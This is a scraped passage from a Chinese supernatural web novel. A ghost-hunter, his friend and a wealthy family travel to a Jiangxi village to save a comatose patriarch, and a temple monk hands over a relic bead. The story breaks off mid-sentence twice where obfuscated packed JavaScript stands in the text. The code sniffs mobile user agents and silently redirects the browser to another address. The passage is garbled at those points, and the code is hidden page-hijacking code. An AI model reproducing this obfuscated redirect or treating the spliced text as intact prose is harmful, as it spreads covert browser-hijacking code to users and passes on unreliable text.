二胖也没顾上耳朵疼就抹了把脸,好家伙,这一抹不要紧,竟抹了满手血出来。 “操!这TM怎么回事儿?!我脸上哪来的血啊?!我不是毁容了吧?!” “命都差点儿没了还在乎什么脸啊!你他娘的又长得不帅!赶紧跟我走,看看三爷出什么事了!” 二胖又是害怕又是惊愕,还想再问问到底是怎么回事,眼见封鬼已经撒开腿跑了,也顾不上多想就大步跟了上去。 来到陈三水的住处,二胖就看见屋子里已经挤满了人,除了封鬼还有陈晓解鸦门以及两个保镖。 屋里的人见二人来了也没什么回应,都围着那陈三水是满脸的惊恐之色啊。只见陈三水依然是双眼紧闭躺在床上一动不动,跟之前没有什么大的区别,就是他的脸不知怎么的比之前更加苍白,在额头与两颊竟然还泛起了青黑之色。 “三爷这是怎么了?”封鬼急着发问,陈晓无奈的摇头,意思是说他也刚到不知道究竟发生了什么。一边的解鸦门秀眉紧锁,封鬼心想她一直陪在三爷身边肯定知道什么,就等着她主动开口。没等几秒钟,解鸦门就将刚才发生的怪事说给众人听。 原来她也不清楚究竟发生了什么,刚才她在隔壁房间收拾东西,突然听到陈三水的房间传来一阵怪叫,她连忙跑出来,却看到一团青雾从三爷的房间喷出,化成类似麒麟兽的模样腾空而去,而那惊天动地的低吼就是那黑麒麟发出的。她也顾不上别的就冲进屋子去看三爷,就见陈三水面朝下翻倒在了地上,身体冰冷僵硬,面色发青。这时候两个保镖也闻声跑了过来,合力将三爷搬上了床,不一会儿陈晓也到了,而之后的事封霍二人也都亲眼看到了。 “黑麒麟?!”封鬼听完解鸦门的描述失口叫出了声。 “不错,我应该没有看错,那团黑雾正是化了麒麟而去。”解鸦门十分笃定的说,封鬼一下子就沉默了。 “怎么了?”陈晓忙问,看他的表情,恐怕是有可怕的事情发生。 “这下完了,我看三爷是没得救了。” “你说什么?!” 所有人都惊愕的看着封鬼,只见他面色凝重,指着脸上还有未擦净的血渍的二胖缓缓说道: “他不是我道中人,没有任何的护法,身为普通人,所以才被刚才那吼声震破了四窍,幸亏我及时护住他的窍门才平安无事。你刚才看到的不是麒麟,而是比旱魃还要厉害的终极僵尸魔王,也就是犼。传说犼可与神叫阵,吼声可以惊天动地,更别提能让人震破七窍流血而死。如今那犼驾云长啸而去,三爷被摄尽了三魂七魄,是彻底活不过来了。” 封鬼的话说完大家都没了反应。犼这东西二胖倒没在魔阿八部里看见过,不过据他所知旱魃就已经是个相当麻烦的狠角色了,这犼竟然比旱魃还要厉害,那岂不是彻底没戏了。 在场的人当中,就属陈晓与三爷的关系最亲近,可很少有外人知道,他们虽然有祖孙之名,却没有祖孙之实。自从陈晓的父亲失踪之后,他就被送到国外读书,和家里很少有联系,对这个爷爷的印象也十分模糊。所以这次三爷出事,虽然他也很难受,却没有过多的真情流露。反而是解鸦门,这个外姓的宗家孙女,对这个大师伯特别的关心,在听了封鬼这番几乎宣判死刑的话之后,咬了咬唇质问道: “不可能!你不是说三爷还有半年的时间吗?” “我也不知道是怎么回事!三爷明明是尸厥症,他的身上怎么会有一只犼呢?” 封鬼也是想破脑袋都想不通。他对犼这种魔物的了解也仅限于家里的一些少得可怜的传说,并不见得比别人多多少。封鬼还说犼这种东西实在是太稀有了,一般的旱魃要是想修成犼那得是数千年甚至是数万年的道行。而人死后从尸变到僵尸再到旱魃那可是需要天时地利人和,那得是千百年的机缘巧合天地造化还不一定能练成,更别说这犼了。相传华夏大地五千年来只出现过一个这样的魔物,而且还被观音菩萨收服做了坐骑。 “那这么说那黑麒麟不一定是犼啊?也许真是鸦门看错了,说不定我爷爷还是有救的啊。”陈晓来了精神,大家也都觉得在理儿。封鬼想了想,立刻又去探陈三水的鼻息,无奈的摇了摇头,又去把脉,却惊喜的跳了起来。 “好了好了!三爷果然还有救!” “你一会儿说活不过来一会儿又说有救,这三爷到底是死还是活啊?”二胖都被他给搞晕了,完全跟不上封鬼的节奏了。 “没死也没活。他还留着一魂一魄,只要按照我之前说的方法立刻去找那古尸,三爷就还有救。” “真的?太好了!”这等喜讯来得太突然了,解鸦门和陈晓都愣住了,就二胖反应快,真心替他二人高兴。 “不过……”封鬼接下来的话又让人刚悬下的一颗心跳了起来。这种大起大落实在是太伤神了,心脏不好的人根本就受不了啊。 “不过这次已经没有半年让我们耗了,最多一个月,等一月之后三爷魂飞魄散,那就真的回天乏术了。” 陈四爷和老太太回到家的时候,明显感觉到气氛不对劲儿。四个小辈围成一圈神神秘秘不知道在商量什么,一见到他二人回来就由陈晓带头迎了上去。 “怎么样?叔公,老太太,一年前我爷爷有没有去过湖南老家的祖坟?” 陈晓直奔主题,老太太也已经听陈老四说了事情的经过,沉思了半天,就对众人说: “确实回了趟湖南,在乡下的老家住了两天就回来了。到底干了啥我也不知道,当时除了老张,他谁也没带去。” 老张是陈三水的司机,给三爷开了一辈子的车,任劳任怨,是他最忠心的手下。 陈晓就问老张呢,只要找来他一问,就知道当时爷爷去干嘛了。可是四爷说老张在三爷回来之后没几天就辞职回江西老家了,而三爷也是在一个月之后就病倒了,从此再也没有醒过来。 看来老张的离开一定与这件事有关,或许找到老张一切问题就都可以解决了。陈老四立刻就给老张打电话,不过却是他儿子接的,说他老爹半个月前病倒了,神志不太清楚,电话里更是说不了事,要是找他还得亲自见了面儿才行。时间不容耽误,他们当下决定动身去老张的家乡江西婺源沱川县张家村。 等天一黑,也就是白天与晚上过度的那个时刻,陈晓说这时候是老宅子里阴气最重的时候,就在二胖被鬼上身的那个院子里做法开了阴阳眼。二胖还挺兴奋,以为真能看到陈晓脑门子上出现和二郎神一样的第三只眼。可一直等到陈晓说完事了也没见到那第三只眼睛啊,害得他白激动一场,老是怀疑陈晓唬人,说他那眼睛到底长在哪里啊?怎么就是看不见呢? 陈晓就解释说所谓的阴阳眼只是一种说法,并不是真的就在脑门子上又多长了一只眼睛出来,这要是一个人类长了三只眼那还不就成了怪物了嘛! 二胖听完之后就大咧咧的笑了出来。确实是自己想太多了,以为这帮子降妖师就真跟神仙一样三头六臂了。任他们再怎么厉害,那始终还都是个人,要是真是变了个物种多眼多足的,自己也得被吓死了。 封鬼问陈晓怎么样,是不是知道了那个鬼的来历?陈晓说这个宅子干净的很,一点儿鬼气都没有,他是什么都没看见。两人就分析,或者那鬼被吓跑了再也不敢来了。 二胖听了之后不屑一顾,说那鬼也许就是路过的,正巧看上他霍爷有几分姿色,便想来占便宜,谁知道刚要动手就被封鬼给打杀跑了。说不定现在已经死翘翘了!这正是牡丹花下死,做鬼也风流啊。 封鬼还没听完就一巴掌拍上了二胖的后背,说就你还想自称牡丹啊?狗尾巴草还抬举你了呢!如果那真是个色鬼,那也是个没品的眼瞎鬼。 之后这件事就这么过去了,二胖无端成了个受害者。虽然心里憋屈,可也没什么办法。你跟一飘忽不定的鬼怄气有什么用呢?你又找不到人家,打也打不了,只能骂,骂多了吧又嫌嘴疼。到 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“得!你又不是不知道我这张嘴,不就是那么一说嘛。我就是向往这种冒险的生活方式,跟西天取经似的一路上斩妖降魔那多刺激啊!怎么着你也别想赶我走。” “你以为这是探险旅游呢?这可不是儿戏,真的会有生命危险。” “有你在我能怕啥啊?你就安心接管兄弟这条命吧,这辈子霍爷我就跟你混了!” 二胖一把就抱住了封鬼,那力道十足的熊抱差点没把封鬼那把小骨头给捏碎了。陈晓见二人的相处模式典型的周瑜打黄盖,一个愿打一个愿挨,便调侃道: “封老板你就知足吧,有这么一只巨型忠犬跟在身边,那可是你的造化啊。” 几人打闹一番,各自回去休息。第二天陈老四叫人定了去江西的机票,二胖给家里打电话说是要和封鬼去跑一笔大生意,可能要出差个把月才能回来。 封鬼去了趟烟袋斜街,将刚开张没两天的聊茗斋给锁了,心说等三爷这件事了了之后得雇个能看店的伙计,好歹这是自个儿在京城的落脚地,得上点心,不然这常年和二胖往外面跑不做生意早晚是要关门大吉啊。 解鸦门回家做准备,陈晓和四爷去了趟灵光寺。两天之后五个人在首都机场集合,一人拉了个箱子,就属解鸦门的最大。要不说女人旅行是最麻烦的呢,光是化妆品都能占半个箱子了。 头等舱里舒服的很,时间过的也快,两个多小时就到了景德镇。出了机场老张的小儿子东子就开了辆面包车来接人。从景德镇到沱川这段路可不是闹着玩的,全程将近5个小时,那个难熬啊。尤其是陈晓,在车上吐了好几次,光是到婺源就走了1个多小时,还要继续在崎岖的山路上颠簸,等到了沱川天都黑了,其他人还好,陈晓一下车就跪倒在地上,二胖连忙扶起他背着。 刚进张家村的村口大伙就看到一座寺庙,东子说那是东山寺,寺门口有棵汉代的苦槠树,距今已经1800年,虽然已经中空却依旧枝繁叶茂,是婺源最古老的一棵树,被沱川人供为神灵。 到了东子家的旅店,楼里走来走去的不少大学生。二胖问怎么这么多学生来旅游啊,他就说沱川这地方每年都有很多艺术院校的学生来写生,家里就建了个写生基地,专门接待学生,附近的理坑和簧村也有分店,还挺赚钱的。 二胖一听高兴的不得了,说毕业这么多年难得再体验这种大学氛围,感觉自己一下子就年轻了不少。走廊上有几个女生穿着超短裙,光着白溜溜的大腿看得二胖直流口水。 “我说这可是霍爷的春天到了,你们谁也甭拦我,等会儿老子就找两个妹子去重温大学生活。” 封鬼见二胖那流氓痞相太TM丢人了,连忙把他推进东子打开的一个房门,就让他把陈晓放到床上。 东子见陈晓那半死不活的模样,就对众人说: “这么着,你看小三爷病的这么厉害,咱们先吃饭,等好好休息一晚,明天我再带你们去看我爹怎么样?” “行,就这么着吧。”陈老四点头赞同。 “那四爷我带你们去开别的房间吧,你们先收拾收拾,过会儿我来叫你们。” 东子又领着其他人去了各自的房间,就拿着热水和药片去伺候陈晓。半个小时之后就来叫他们吃饭,问陈晓怎么样的,就说吃了药睡着了。 “小三爷刚才上吐下泻折腾了半天,又发了低烧,估计今晚是下不了床了。等会儿我找人熬点儿粥给他端过去,咱们先去吃饭吧。” 大伙看也只能这么办,就依言去了楼下的包间。陪同的还有东子的老婆和孩子,他说大哥去景德镇了,这几天都回不来,就让自己替他问三爷四爷好。 没想到东子这么一说,全桌的人就都变了脸色,氛围一下子就全都变了。尤其是解鸦门,原本俏丽可人的俊脸霎时就跟吃多了青菜一样,绿了。 10. 【10】宋江组合与四方神 哎,三爷可不怎么好。”解鸦门长长叹了口气,东子给陈老四满了酒,抬头就问到底是怎么回事。 “这事还真不好说,必须等见了你爹才行。”四爷开了口,东子也不知道怎么回事,反正他爹也没跟他说,就点了点头。 “那成,今晚咱们啥也不说了,吃菜喝酒!痛快完了明儿再说。” 东子为人也爽快,又能说会道,很快大家都相处的熟络了。东子就讲小时候爹带他去见陈老二的事。 “我这辈子就见过三爷两面儿,第一次就是八岁爹带我和我哥去北京。三爷对我们父子三人那是没话说,东子我这辈子没佩服过什么人,最敬仰的就是三爷。打从老太爷走了之后,这整个陈家都是三爷打下来的江山,以后我要向三爷多学习,做个顶天立地的生意人。” 东子喝大了,舌头有点儿直。他挤了挤眼,夹起一块野山猪肉扔嘴里嚼了嚼继续说: “第二次就是去年陪我爹跟三爷回湖南老家。那时候三爷身体还硬朗的很,爬山腿都不带抖一下的。可那天也真是奇怪,中午日头这么高,一转眼就落雨了。本来我们是想去山上上坟的,只好回到老宅子里。陈家的老宅子早就没人住了,不过三爷在当地雇了个村民打扫收拾,倒是干净。我爹陪三爷坐到吃茶,我就去外面走走。等回来的时候见三爷和我爹手里争着一个布包,也不知道里面裹着什么,见我回来就不争了,包也落到三爷手里。之后我也没问,第二天上了坟就回来了。” 东子的话引起了所有人的注意,陈老四忙问那包里是什么,他爹有没有告诉他,东子就说不知道,他爹也从来没有提起。 “我还要讲一个怪事,”东子这时候已经醉得差不多了,却还是喝,他老婆也劝不动,就先带孩子回去睡觉。剩下的人也都吃饱了,就听东子继续讲他的怪事。 东子说不只是他们来找过他爹,就在前天,他们打电话之后的第二天就有一波人已经来过了,当时东子还以为是他们呢。 说是有四男一女带着一个不到十岁的男娃,其中一男一女应该是领头的,那女的是个中外混血,又白又高像个模特,人长得特漂亮也和善。那个男的就不怎么好相处了,又冰又冷整一面瘫,村里人见了他都害怕,不知为什么连鸡鸭猫狗都不敢接近他。那两人没透露自己的名字,只知道女的姓江男的姓宋。另外三个男人和那个男娃应该是面瘫男的手下,都叫他老板。有个留着小胡子的叫玄武,一个爱和姑娘搭讪的叫小白,男娃叫阿龙,还有个沉默寡言的闷瓜叫朱雀。 领头的那一男一女单独见了他爹,东子也不知道都说了些什么,就是觉得那帮子人走了之后他爹不怎么高兴,心事重重的也吃不下饭。 众人心道这些人是什么来头?难不成也是道上的?且不说他们找老张的目的,就是那一个个的名字都古怪的很。 北玄武南朱雀,如果小白是西白虎,阿龙是东青龙,那这他娘的不就是四方神众吗?横观道佛法巫四大家,有哪家敢这么嚣张用四方神的名号做跟班小弟啊?再说那一男一女,整个就宋江组合,这强盗头子宋江带着四方神来人间溜达,那肯定是没好事啊。 陈老四还想问问别的,一看东子实在是不行了,眼睛都直了,就散场各自回屋了。 封鬼和二胖住的是双人标间,环境真不错,空调电视电脑网络卫浴一应俱全啊。二胖怕热,一进屋就打开空调光着膀子,大咧咧躺在床上摸着肚子回味刚才的山珍野味。 “你猜那几个人是什么来头?怎么还用四方神的名字啊?” 四方神二胖还是知道的,那可是华夏大地的守护神,代表了二十八星宿。给跟班小弟起神的名字,如此忤逆神灵的事有谁敢做?难不成那姓宋的自封为玉皇大帝? 封鬼摇了摇头,表示自己也不知道。 “我想来想去也想不出他是哪门哪派的宗家,姓宋的大家倒是有几个,但都跟陈家没什么关联,更不可能来找三爷的司机老张。再说干我们这行的有个规矩,绝对不能触神的名讳,可他们一下子把四方神占全了,这就说明他们绝对不是四大家的人。” 封鬼给出自己的推测,二胖嗯了一声,继续问。 “呐那个姓江的洋妞儿呢?你们这行也有外国人滴干活?” “这我就不知道了。不管他们是谁,找老张肯定是跟三爷有关,说不定已经得到了他们想要的信息。” 事情发生的太突然了,是他们始料不及的。一路走来,没想到竟碰上另一支队伍。封鬼不比二胖多知道多少,总觉得这趟行程的前方是危机重重啊。 二胖一边儿听一边儿在那抠脚丫子,突然想到了什么,猛然坐起来说: “哎?你说会不会是这样?陈家除了你之外还找了另一帮人为三爷办事儿。陈老四不相信你的能力,就让你们双方竞争,看哪边先办成事就给哪边儿钱?” “怎么可能啊!”封鬼连忙否决,二胖却不依不饶,继续分析。 “你看这时间也太巧了,我们刚打完电话他们正好就赶在我们之前来找老张了,他们怎么就这么了解我们的行动?你说我们这里会不会有内鬼呢?” “别胡说!你他娘的懂个屁!干我们这行的最看重的就是一个江湖道义,从来都不耍这种阴招。屠乌门是名门正宗,怎么可能干这个?” 封鬼表态完,二胖就用一种十分古怪的眼神看着他,说: “封鬼同志,你要不要这么单蠢啊?我说你是第一天跑江湖吗?你也不看看那所谓的名门正宗都干的什么勾当,说好听了是摸金校尉,说白了还不是盗墓贼?有几个贼不是小人?不可不防啊。” 二胖说的句句在理,封鬼虽然听着很不舒服,却又找不到反驳的理由。 “你的意思是?” “你想想啊,是谁最不想要三爷醒过来,或者直接点说谁最想要三爷死啊?三爷死了之后,谁能得到的利益最大化?” “陈老四?”封鬼脱口而出,这不是明白着的么?是个人都知道答案没有第二个。不过话从自己嘴里说出来,还真有点不是滋味。 “对嘛!陈晓从小就在国外,在陈家也没有自己的势力,就一二世祖也没啥能耐,解鸦门毕竟是外人,成不了什么气候。只要三爷一死,更没人给陈晓撑腰,这屠乌门的大当家可就落在他陈老四手里了。” “这,不太可能吧。”封鬼还是不愿相信。 “怎么不可能?凡事都要大胆假设然后再小心求证。一开始陈老四以为陈老二死定了,才找你给他镇魂,说的好听是驱邪降魔求佛祖保佑,可谁知道他到底是何居心呢?没想到你见了陈老二之后说人死不了,他只好暗中找人赶在我们前面找到那古尸搞破坏,这样三爷不就死定了。” “杀一个人需要这么麻烦吗?再说四爷不像是那种人,我觉得他还没有如此担当。” “他没有,可那陈老太有啊。” 二胖又把自己的理论强加给封鬼。 “我看那老太太阴的很,这么大把年纪了一点儿也不慈眉善目。说不定他念佛不是修道,而是这辈子作恶多端向佛祖忏悔呢。” “你少胡说!没有证据就不要污蔑人。”封鬼越想越有漏洞,差点让二胖给带着跑了。 “哎!随你便,爱信不信。霍爷我吃饱喝足要去睡个神仙觉了。” 二胖洗完澡封鬼给他的肩膀换了药,伤口愈合的不错,也幸亏不深,再过两天就能结痂了。 封鬼上网查了会儿资料,还是猜不透那帮子人的来历。见二胖在床上翻来覆去就是睡不着,就揶揄道: “你不是说要睡觉吗?怎么着,想着那些女大学生思春啊?” 二胖白了他一眼,说: “我这一路上看到婺源到处都是百年老香樟和参天银杏树啊。你说这些树都老值钱了吧?” “你想干什么?”果然是没什么好想法,封鬼发现这二胖还真TM纯爷们儿啊,脑子里除了钱就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15391830|168559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女人,其他的是一概都不想。 “我想去村口那个东山寺看看那颗汉代的古树!1800年啊,这要是卖了得多少钱啊。” “卖也没人买,这么个古树谁敢买?买来干嘛?你就吃饱了撑的吧!赶紧消停的给我睡觉!” 封鬼差点没呕出血来,就说这人不正经,满脑子的淫邪思想,竟然敢打人家寺庙的主意,实在是又可气又可笑啊。 休整了一夜,陈晓总算是活过来了,二胖一下楼就看见他在院子里,身边围了一群的女学生,抱着速写本给他画画。 “我去!”二胖忍不住大骂。 “他娘的这小白脸有什么好的?这年头女的都没有眼光,净是喜欢这种瘦不拉几又白又娘的公子哥,一个个都像是从高丽整容来的大棒子。” 封鬼听了二胖的吐槽笑着说: “你这是赤果果的羡慕嫉妒恨,再加上恶意诽谤人身攻击啊。人家陈晓那脸一看就是纯天然的,一点儿也没经过加工处理。要我说这就是社会流行发展趋势,这历史啊总是在前进的,你想挡也挡不住。现在的人审美都变了,全往着中性发展了,年轻的小姑娘就是喜欢这种漂亮的帅哥嘛。” “得!你要是想顺应历史潮流就去韩国整一个去,霍爷我还做我的纯爷们儿!” 二胖说完就走向了陈晓,离近一看你还别说,那小子细皮嫩□□红齿白的,在阳光下这么一照,还真TM有几分姿色啊,连睫毛都跟大姑娘一样扑闪扑闪的。 “靠!我说陈晓,你真TM不够仗义啊,自己占了这么群漂亮小姑娘,好歹也分霍爷我几个啊。” 陈晓听了这话笑着对那群女大学生说: “好呀,我也累了,你们都去画他吧。别看这位霍爷外表粗犷内心却精细的很,对女孩子最温柔了。” 说完就甩着胳膊活动筋骨,走出了姑娘堆。这摆着一个姿势半天不动那根本就是活受罪啊,管他有再多的小姑娘围着你,也算不上什么天上人间啊。 二胖见那群女学生笑嘻嘻的对着自己指指点点,哪里还好意思再过去,刚才那番话实在不该说,跟耍流氓一样,有辱自己的脸面啊。 “小三爷,过来喝茶。” 东子在树荫下的石桌上泡了壶云雾,就招呼陈晓三人过来。封鬼深吸一口气,山里清晨的空气就是好啊,湿润清新,令人神清气爽。 “鸦门小姐和四爷还没起呢?”封鬼喝了口茶问东子。 “哪儿能啊,四爷是起的最早的,跟几个学生去晨练了。鸦门小姐吃不惯咱们这的早饭,上前面的小卖部买饼干和牛奶去了。” “呵!那娘们儿还真娇贵啊,昨天坐车的时候都没看出来,陈晓一大老爷们儿都吐了她竟然一点儿事儿都没有,现在吃个早饭反而矫情起来了。” “我说霍二胖,你他娘的就积点儿口德会死啊?鸦门小姐能是你说的吗?陈晓还在这儿呢,你当着人家面儿说人媳妇儿的坏话,小心遭雷劈啊。” “封老板你也别说霍兄,鸦门那妮子确实挺麻烦的,我也嫌她事儿多。再说我们还没结婚呢,这事儿能不能成也没准,你也别太在意非把我们两凑一对儿了。” “你看你看!人家都不在乎你搁这儿瞎操什么心。我说小陈啊,你是不是不喜欢鸦门,没打算真的跟她结婚吧?” “这可说不好,不提也罢,看缘分吧。” “就是!姻缘天定,这事强求不得!” 说话间陈老四就回来了,喝了两杯茶就去吃早饭。没一会儿解鸦门拿着饼干和牛奶也回来了,就问打算什么时候去见东子他爹,东子让她先吃饭,等四爷出来就一起去。 老张住在自己家里,由他二女儿照顾着,等大家到了那见着躺在床上的六旬老人,虽然体形消瘦却十分硬朗,面色也红润,不像是有什么大病,也不知怎么会半个月下不了床。 老张盯着陈晓看了半天,一句话也没说,突然就老泪纵横的哭了起来。 11. 【11】东山寺 “小三爷!老张总算是把您给盼来了!三爷的命就交给您了,您可要为三爷护法替他驱魔除妖,别着了那些个奸邪小人的道啊!” 老张这番话说得突然,又没头没尾的,让所有人都摸不着头脑。陈晓握着老张的手安慰他不要哭,问到底是怎么回事儿,前两天那帮子来找他的人是干嘛的,是不是跟他爷爷的事有关。 老张抹了抹眼泪,紧紧抓着陈晓的手不放,就只是把所有注意力都放在他一个人的身上,也不去看其他人,哑着嗓子说: “这事我只能跟小三爷您一个人说,你把别人都请出去,让老张我慢慢给你讲。” 陈老四一听这话急了,从一开始自己就被无视,难道他陈晓是陈家人自己就不是吗? “我说老张,你这话说的不厚道,我陈老四是其他人吗?我好歹也是二哥的亲弟弟,你有什么话不能跟我说吗?” “对不住了四爷,三爷的事我只能跟小三爷说,这是我答应三爷的,老张不能做个背信弃义的叛徒。如果小三爷听完我说的事情之后觉得可以对你们说那就是他的事,跟老张我没有关系,也不算我对不起三爷。” 老张都把话说到这份儿上了,你说他陈老四还能说什么?再找事那就是自讨没趣了。无奈之下几人怏怏而出,就留下陈晓与老张两人在屋里。 “走,我带你们去东山寺看看。那里的香火也算旺,拜拜佛祖保个平安不算白来。” 东子怕几人干等着太无聊,二胖昨晚就想去东山寺了,听东子这么说简直喜出望外啊,立马就替其他人答应了下来。 村口离这不远,几人走了一路见到不少画画的学生。到了东山寺,果然看见寺门口有一棵中空的大古树,树干粗壮需要八人合抱,而且枝繁叶茂的,上面还挂满了红色的祈愿条。 “我去!这TM就是一树精吧!这么粗的一棵树,果然是稀罕啊。” 封鬼见二胖两眼发绿的盯着那棵树,知道他心里在盘算什么,赶紧把人拽过来,低声警告他不要丢人现眼。 “行了行了!你怎么跟我妈一样,管的也太宽了!不让人做这还不让想了真是。” 二胖唠叨完就躲到一边,封鬼也懒得再管他。东子带着几人进了院子,里面种着不少鸡冠花,开得正是艳丽鲜红。 “这血鸡冠长得真是好啊。”陈老四挺喜欢花花草草的,捻了掉在花盆周围的一些种子赞叹。 “我们这的气候比较湿热,正适合鸡冠花生长,四爷要是喜欢我找住持送您两盆就是了。”东子笑着说,陈老四拍了拍手上的尘土道: “好啊。不过盆栽带着太麻烦,给我一包种子就行了。” 之后几人去大殿拜了拜,又捐了不少香油钱,东子就去请住持出来。 东山寺的住持法号觉海,是个五六十岁的半大老头,戴着金丝边儿眼镜,留着板寸头并没有剃度。二胖管不住嘴就说你一个和尚还是寺里的老大怎么能不剃度呢? 住持但笑不语,请几人坐下开始倒茶。没人敢像二胖那样唐突无礼,都默默坐着不敢说话。怎么说这也是佛门清净之地,谁要是敢乱说话触怒了佛祖那可是要遭天谴的。 “好茶。”封鬼抿了口茶,低声道: “香泉一合乳,煎作连珠沸。尚把沥中山,必无千日醉。” “这是皮日休的《煮茶》,看来施主是个懂茶之人。” “大师不也爱茶么。” “不羡黄金罍,不羡白玉杯。不羡朝入省,不羡暮入台。我与那陆羽一样,亏我喝了一辈子的茶,却品不出一个悟字,更参不透生死,看不破红尘。自己尚且渡不了,又岂敢剃度传戒呢?” 二胖见这两人竟然吟起诗来白眼那个翻的,也听不懂在说什么,更是插不上话。最后倒是明白了一点儿,心说原来这老和尚是因为自己修行不够才没有剃度啊,那还出家当什么和尚,干脆还俗娶老婆生孩子算了。 “大师高言,封鬼在此受教了。” 封鬼听了觉海这番话很是感触,不免对他肃然起敬。觉海笑了笑,作了个揖继续说: “施主言重了。你可知人所归为鬼,精气肉身归于天地日月风雨木石,只有念留于幽冥之间,无形无影,可怜艾艾,又如何忍心杀之?妖魔亦如此,并非所有都为恶,赶尽杀绝不如渡化。渡人渡己,才是此生功德。” 在坐的除了二胖,其他人听了觉海的这番话都是一愣。尤其是封鬼,原本还是一脸的谦逊,一听这话立马变了脸色。 “大师刚才还说渡不了自己,怎么现在又劝我去渡人?大师尚且参不透生死看不破红尘,我一介凡夫俗子更没有您老这么高的境界与觉悟,如何渡化本就该死的妖魔?” 封鬼的语气显然是没了之前的敬意,觉海毕竟是大师,面无丝毫愠色,也看不出什么其他的表情,只是念了句阿弥陀佛,慢悠悠的说: “《易经》上说,亢龙有悔,盈不可久也。月盈则亏,水满则溢;物极必反,否极泰来。善恶本就是一念之差,难道妖邪就一辈子是妖邪,就没有善心良知,就不会改过自新?” “妖邪就是妖邪,就算再有副好心肠也是天生为恶天地难容。” 封鬼说得绝决,那语气生硬的连二胖都觉得有些过分。他也知道物极必反是个什么理儿,凡事都没有个绝对,发展到了一定的阶段就会反向发展了。 既然人分善恶,那妖魔鬼怪是否也分善恶呢?小时候看过聊斋里的那些可怜鬼,不也并非全都是存了害人之心?甚至比人还要善良。 他妈就曾说过有时候人心比鬼神还要可怕,究竟是善是恶也并非全是天生的。而且不论是人是鬼就算真犯了错,说不定也会悔过自新,总不能不给人家留个从良的机会啊。 这道理自己个糙老爷们都懂,怎么封鬼这种心思细腻的人也想不明白呢? 封鬼自己在那莫名其妙生闷气,觉海无奈了看了他一眼叹气道: “南无阿弥陀佛。我佛慈悲,普度众生。放下屠刀,立地成佛。” 封鬼冷哼道:“那就请大师先渡了自己,再去普度众生吧。” “既如此,贫僧言之于此,请施主好自为之。” 觉海又作了个揖,封鬼起身就走。其他人留也不是走也不是,只能尴尬的喝茶。 觉海取来一包鸡冠花的种子给陈老四,这才最终打破僵局。 “多谢大师赠花。等以后有缘,待鸡冠花开之时,我一定再回来找大师喝茶。” “施主客气了。” 陈老四高高兴兴的接过种子,几人就此告辞,觉海突然叫住二胖,请他来到那棵苦槠树前,从空心的树干底部摸出一个被磨得油光铮亮的乌木匣。 二胖一看差点没兴奋的叫出来,心想这老和尚可真够意思啊,临走了还要送礼物。 只见他将那木匣子打开,从里面拿出一粒浑圆的黄色珠子交给他说: “烦请施主将这颗佛珠转交给封施主。它对你我而言不过是一粒尘沙,而对封施主来说却是无价珍宝。” 二胖纳闷的看了看手里的珠子,无光无泽,在他看来就是一不起眼的破石头。 再看看那木匣子,倒是觉得是个年代久远的宝贝,便想问觉海要过来,又不好意思开口,怕人家说他买椟还珠不识货。 “那,那他要是不要怎么办?” “施主只说这是八方皆若金舍利,五洲有石更难求。他听了这话,一定会收下的。” 觉海说完就将木匣子一并递了过来,二胖大喜过望,连忙接过揣在怀里。 “大师放心,我一定把这珠子交给他。” 一行人辞别觉海之后出了东山寺,见封鬼独自一人在山路上踢石子儿。二胖就问他刚才怎么了,本来聊得好好的怎么莫名其妙就翻脸了呢。 “你懂个屁!他算是哪门子的佛门?不剃度不念经不修禅就会喝茶管闲事!这要也算是佛门,那还是不入门的好。” 封鬼一向是个脾气好的,这回估计是真被那觉海惹恼了,当下骂出声来。 陈老四和解鸦门满脑子都想着老张到底和陈晓都说了些什么,也没怎么在意封鬼的情绪,就敷衍性的安慰他几句好话,让他不要跟个老人一般见识。 “我说你至于么?哪来的无名火啊?人家也没说什么得罪你的话嘛。不就是见解不同何必这么在意嘛!我看那老和尚人不错!你看人家还让我送你东西来着。” 说着,二胖就将珠子塞进封鬼的手里。封鬼也没仔细看,没好气道:< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15391831|168559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “什么破石头!我才不要他的东西,不干不净的。” 封鬼刚想把珠子给扔了,二胖慌忙拦住: “我说你怎么跟个林黛玉一样耍起小性子来了?觉海大师说这是什么‘八方皆若金舍利,五洲有石更难求。’不知是什么拗口的咒语,反正我是一点儿没听懂,背了老半天才记住。不过那老和尚说你听了这两句话就一定会收下这珠子的。你知道他这话什么意思吗?” “八方皆若金舍利?”陈老四重复了一边,忙将珠子从封鬼手里拿了过来,举到半空对着阳光仔细查看。 “陈四爷可知道这是个什么宝贝?觉海说这对我们而言不过是个不值钱的石头,对封鬼来说却是什么稀世珍宝。” 二胖好奇,见封鬼没说话,估计也是不知道,就问陈老四。 陈老四啧了啧嘴,将珠子还给封鬼,缓缓的说道: “这不是石头,而是佛骨舍利子。只不过不知道是哪位高僧圆寂的灵骨,如果只是一般的舍利,那就是一文不值。” 二胖一听是死人骨头,膈应得直往裤子上搓手。 “哎呦我的妈呀!那老秃驴也太不厚道了!给我这晦气东西做什么!!这匣子我也不要了,都给你吧!” 二胖将原本当宝贝夹在腋下的木匣子推给封鬼,封鬼还没回过神,等二胖叫了他一声才接过匣子,将那佛骨放了进去。 “也不知他为什么要给我这东西,难道他是要告诉我什么?” “这个好说,你要是能拉下脸,就再回去问他呗,反正……” 